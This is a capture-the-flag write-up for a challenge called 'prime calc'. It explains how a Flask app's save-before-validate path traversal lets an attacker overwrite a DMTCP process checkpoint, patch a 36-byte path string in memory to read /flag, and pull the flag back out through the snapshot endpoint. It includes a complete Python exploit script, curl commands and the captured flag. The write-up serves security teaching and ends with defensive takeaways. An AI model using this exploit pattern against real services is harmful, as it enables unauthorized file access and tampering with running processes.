prime calc
Downloading and re-uploading a DMTCP checkpoint is a memory read/write primitive; one 36-byte path swap makes the worker read /flag instead of its config.
K17{d1d_y0u_l1k3_mY_fRont3nD_de$iGn?} handout: a Flask app plus a DMTCP checkpoint worker (app.py, worker.py, generator.py, Dockerfile)
If you’re stuck, the framing that unlocks this challenge is: /api/snapshot and /api/config together give you a download-and-upload pair for a live process’s entire memory image. Once you see it that way, the “prime calculator” theming stops mattering — this is a memory read/write challenge, and the actual work is figuring out what to patch and how to get the result back out.
1. Structure
The app runs generator.py — a prime search — under DMTCP, repeatedly checkpointing and restoring it.
GET /api/status— returnsoutput/latest.txtandstatus.txtGET /api/snapshot— downloads/app/data/checkpoint.dmtcp, the process memory imagePOST /api/config— uploads a config filePOST /api/run— runsworker.pyonce →dmtcp_restart <checkpoint.dmtcp>→ lets it run for one second → checkpoints again
/flag is root:prime 0440, and the worker runs as prime, so the generator process is permitted to read it — it just has no reason to, on its own. The exploit’s job is to give it a reason.
2. The vulnerability — path traversal in /api/config
if not timestamp[0].isdigit():
return jsonify(error="timestamp must be numeric"), 400
name = timestamp if Path(timestamp).suffix else timestamp + ".json"
destination = (CONFIG_DIR / name).resolve()
if destination != BASE_DIR.resolve() and BASE_DIR.resolve() not in destination.parents:
return jsonify(error="invalid config path"), 400
destination.parent.mkdir(parents=True, exist_ok=True)
uploaded.save(destination) # <-- save happens first
try:
values = json.loads(destination.read_text())
...
except (OSError, ValueError, TypeError, KeyError):
return jsonify(error="invalid config contents"), 400 # <-- validation is later
The check only asks “is this path somewhere under /app/data?” — a much larger tree than the config directory it’s meant to guard. And because uploaded.save() runs before the JSON is validated, the write succeeds unconditionally, even on requests that come back a 400. The 400 only means the contents were rejected after the fact; the file is already on disk by then.
CONFIG_DIR is /app/data/configs, so two .. reach the target:
timestamp = "1/../../checkpoint.dmtcp"
-> /app/data/configs/1/../../checkpoint.dmtcp
-> /app/data/checkpoint.dmtcp <- the exact file dmtcp_restart consumes
(One .. is not enough: 1/.. cancels back out on its own, landing the file in /app/data/configs/checkpoint.dmtcp instead — worth noting since it’s an easy off-by-one to make when first testing this.)
So: we can hand dmtcp_restart an arbitrary checkpoint image of our choosing.
3. Exploit — patch the target’s image, don’t build one
The challenge description says the setup is “sensitive to differences between machines,” which is the intended hint: a DMTCP image is bound to the machine it was taken on — mapping addresses, binaries, CPU features — so an image built locally will generally fail to restore on the remote target. The correct approach follows directly from that constraint: pull the target’s own image via /api/snapshot, and apply the smallest possible length-preserving patch to it.
$ curl -o snap.dmtcp $URL/api/snapshot # 7.0 MB
$ file snap.dmtcp # gzip, original size 31,692,272 bytes
$ gunzip -c snap.dmtcp | head -c 16 # DMTCP_CHECKPOINT_IMAGE_v4.0
The whole file is a single gzip stream, so decompress, patch, recompress is the entire procedure.
3.1 What to patch
generator.py re-reads its config every loop:
ACTIVE_CONFIG = DATA_DIR / "runtime" / "active-config.json"
values = json.loads(ACTIVE_CONFIG.read_text())
That Path’s cached string lives on the heap inside the checkpoint image. Repointing it at /flag, using a replacement of identical byte length, makes the generator read the flag instead of its own config on its next loop iteration.
$ python3 -c '...' # search the decompressed image
1 occurrence /app/data/runtime/active-config.json @ 0x20b718
Exactly one hit, and the surrounding bytes are a standard CPython str object:
refcount = 1
type = 0x7fb4b0ad9920
length = 0x24 (36)
hash = 0xffffffffffffffff <- -1, i.e. not yet computed
kind = 0x64 (compact ASCII)
data = "/app/data/runtime/active-config.json\0"
Same length, and a hash of -1 meaning it has never been hashed — so an in-place content swap doesn’t risk desyncing any dict this string was used as a key in. Build a 36-byte replacement path that normalises down to /flag:
orig = b"/app/data/runtime/active-config.json" # 36
repl = b"/app/..//app/..//app/..//app/../flag" # 36 -> /flag
The replacement has to pad out to exactly 36 bytes, so it’s built from a chain of .. segments that all cancel back to nothing, ending at /flag.
3.2 Getting the flag back out
json.loads(<flag text>) raises ValueError, which the except block swallows — nothing appears in any visible output from this call directly. But by the time that exception fires, the flag string is already resident in process memory, and worker.cycle() re-checkpoints that same process one second later, straight into /app/data/checkpoint.dmtcp — which /api/snapshot hands back out on request.
patch -> upload -> /api/run -> /api/snapshot -> grep K17{
4. Exploit code
import gzip, re, requests
BASE = "https://8000-....sbx.secso.cc"
ORIG = b"/app/data/runtime/active-config.json"
REPL = b"/app/..//app/..//app/..//app/../flag" # same 36 bytes, normalises to /flag
raw = gzip.decompress(requests.get(BASE + "/api/snapshot").content)
raw = raw.replace(ORIG, REPL) # exactly one occurrence
img = gzip.compress(raw, 1)
# save precedes validation, so the 400 is irrelevant - the file is written regardless
requests.post(BASE + "/api/config",
data={"timestamp": "1/../../checkpoint.dmtcp"},
files={"config": ("x.dmtcp", img)})
requests.post(BASE + "/api/run") # dmtcp_restart <our image>
out = gzip.decompress(requests.get(BASE + "/api/snapshot").content)
print(re.findall(rb"K17\{[^}]+\}", out))
5. Confirming the patch landed
The output field alone shows the patch took effect, before even grepping for the flag:
before: "output":"17\n19\n23\n29\n..." <- resumes from the checkpointed candidate
after : "output":"2\n3\n5\n7\n11\n13\n..." <- config read failed -> reset to default (2)
read_config() swallows the exception and returns (2, "prime", 0), which makes latest_version(0) != config_version true and restarts the search from 2 — direct evidence that /flag is being read instead of the real config:
$ python3 -c "...grep..."
patched str present: 4
flags: [b'K17{d1d_y0u_l1k3_mY_fRont3nD_de$iGn?}']
6. Takeaways
- “Save, then validate” is itself a vulnerability. Returning a 400 after a failed check does nothing about the file already written to disk before the check ran.
- A path check that only confirms “is this under the base directory?” after
resolve()leaves every other file inside that base — here, an image that later gets executed — completely unprotected. An allowlisted directory plus filename normalisation is the actual control; “somewhere under here” is not one. - Being able to download and upload a whole process image is equivalent to a memory read/write primitive. Don’t try to construct a fresh image — machine-dependent state will break it on restore. Take the image you were given and apply a minimal patch to it instead.
- CPython’s compact-ASCII
strstores its length and hash directly in the header. A hash of-1means it has not yet been computed, so replacing the contents with something of identical length will not desync any dict lookup depending on it.